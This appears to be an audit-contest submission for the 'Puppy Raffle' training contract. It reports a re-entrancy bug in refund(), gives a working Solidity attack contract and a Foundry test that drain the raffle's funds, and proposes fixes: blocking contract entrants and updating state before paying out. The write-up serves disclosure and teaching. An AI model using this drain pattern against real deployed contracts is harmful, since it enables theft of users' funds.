First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The Contract it vulnerable to a Re-entrancy attack

0xethanol

Vulnerability Details

The contract is vulnerable to a Re-entrancy attack and can drain the contract

Impact

High - A bad actor could steal all the funds from the contract

PoC

  1. Copy the Re-entrancy contract example

  2. Import the contract in the testfile

  3. launch the custom test

    1. We add any number of players in the raffle

    2. We launch the attack

  4. Now the raffle should not have any funds left

Code

Create a contract under the test folder Reentrancy.sol and paste the following code:

​
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
interface IPuppyRaffle {
function refund(uint256 playerIndex) external;
function enterRaffle(address[] memory newPlayers) external payable;
function getActivePlayerIndex(address player) external returns (uint256);
}
​
contract Reentrancy {
​
IPuppyRaffle raffle;
address owner;
uint256 indexInPlayers;
​
modifier onlyOwner() {
if (msg.sender != owner) {
revert("");
}
_;
}
​
constructor(address _raffle) payable {
raffle = IPuppyRaffle(_raffle);
owner = msg.sender;
​
}
​
function beggingAttack() public {
address[] memory players = new address[](1);
players[0] = address(this);
​
raffle.enterRaffle{value: 1e18}(players);
​
indexInPlayers = raffle.getActivePlayerIndex(address(this));
​
raffle.refund(indexInPlayers);
}
​
fallback() external payable {
​
if (address(raffle).balance != 0) {
raffle.refund(indexInPlayers);
}
​
}
​
function destroy() public onlyOwner {
selfdestruct(payable(owner));
}
}
​
​
​

Copy and paste the following functions into PuppyRaffleTest.t.sol:

function testIfReentrancyWorks() public {
​
// we construct the contract with the entraceFee
Reentrancy reentrancy = new Reentrancy{value: 1e18}(address(puppyRaffle));
​
add100PlayersToRaffle(puppyRaffle);
​
// This function will create a feedback loop that will execute the `refund()` function until the contract has no funds left.
reentrancy.beggingAttack();
​
require(address(puppyRaffle).balance == 0);
​
}
​
// Utility function
​
/// @dev This function is made made for testing the raffle
/// @dev This should always be called for a new raffle with no players to not have problems with douplicates
/// @param _puppyRaffle PuppyRaffle contract
function add100PlayersToRaffle(PuppyRaffle _puppyRaffle) public {
​
uint num = 100;
​
address[] memory players = new address[](num);
​
for (uint i = 0; i < num; i++) {
players[i] = address(i + 10);
}
_puppyRaffle.enterRaffle{value: entranceFee * num}(players);
​
}

Recommendations

Restrict the Access to Smart Contracts into the raffle

With this measure we can eliminate the risk of blocking the raffle if the winner is a smart contract (if it doesn't implement a fallback function), and at the same time we eliminate the ability of an actor to exploit this.

Code

Modify the first for loop in enterRaffle()

As the Contract is already imported the Address library from Oppenzeppelin we can easily implement this check.

for (uint256 i = 0; i < newPlayers.length; i++) {
// If the address is a contract, `isContract()` will return true, reverting the transaction
require(!Address.isContract(newPlayers[i]), "Contracts are not permited in the raffle")
players.push(newPlayers[i]);
}

We can simplify this by adding this line using Address for address; because we are using this library for address payable we cannot use it for normal addresses, we need to add it to work with address also.

for (uint256 i = 0; i < newPlayers.length; i++) {
require(!newPlayers[i].isContract(), "Contracts are not permited in the raffle")
players.push(newPlayers[i]);
}

Restructure the code

Restrain the entry to contracts could be sufficient, but for best practices we can restructure the code for best practices.

The Re-entrancy attack is possible here because the state registering 'the right' of funds is modified after sending the funds. Making it possible to a smart contract to execute code upon receiving the funds, and execute repetitively refund(). We will need to change the place of two lines of code in the refund() function to eliminate this possibility of the attack.

In the last three last lines of the function

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee);
​
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

We need to put the line payable(msg.sender).sendValue(entranceFee); after this line players[playerIndex] = address(0);.

After modifying the contract with this changes the test should failed, meaning that the attack couldn't take place.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!